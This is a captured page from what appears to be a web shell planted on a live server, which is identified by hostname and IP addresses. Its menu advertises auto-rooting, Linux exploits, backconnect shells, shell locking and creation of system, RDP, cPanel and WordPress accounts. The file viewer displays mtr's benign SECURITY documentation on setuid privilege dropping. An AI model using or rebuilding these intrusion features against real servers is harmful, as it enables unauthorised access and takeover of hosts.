Linux server.nvwebsoft.co.in 3.10.0-1160.114.2.el7.x86_64 #1 SMP Wed Mar 20 15:54:52 UTC 2024 x86_64
Apache
: 162.240.12.249 | : 18.218.3.204
202 Domain
8.1.31
nbspublicschool
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
mtr-0.85 /
[ HOME SHELL ]
Name
Size
Permission
Action
AUTHORS
2.47
KB
-rw-r--r--
COPYING
17.58
KB
-rw-r--r--
FORMATS
3.17
KB
-rw-r--r--
NEWS
13.03
KB
-rw-r--r--
README
3.62
KB
-rw-r--r--
SECURITY
1.9
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : SECURITY
SECURITY ISSUES RELATED TO MTR You can limit mtr usage to the root user by not putting a setuid bit on the mtr binary. In that case, the security implications are minimal. Or you can make mtr setuid-root, and the following applies to you.... Since mtr is installed as suid-root, some concern over security is justified. Since version 0.21 of mtr, does the following two things after it is launched: * mtr requests a pair of raw sockets from the kernel. * mtr sets the effective uid to match the real uid. See main() in mtr.c and net_preopen() in net.c for the details of this process. Note that no code from GTK+ or curses is executed before the drop in permissions. This should severely limit the possibilities of using mtr to breach system security. This means the worst case scenerio is as follows: Due to some oversight in the mtr code, a malicious user is able to overrun one of mtr's internal buffers with binary code that is eventually executed. The malicious user is still not able to read from or write to any system files which they wouldn't normally have permission to write to. The only priveledge gained is access to the raw socket descriptors, which would allow the malicious user to listen to all ICMP packets arriving at the system, and send forged packets with arbitrary contents. The mtr-code does its best to prevent calling of external library code before dropping privileges. It seems that C++ library code has the ability to issue a "please execute me before calling main" to the loader/linker. That would mean that we're still vulnerable to errors in that code. This is why I would prefer to drop the backends, have mtr-core always run in "raw" mode, and have the backends interpret the output from the mtr-core. Maybe a nice project for a college-level student. If you have further questions or comments about security issues, please direct them to the mtr mailing list. See README for details.
Close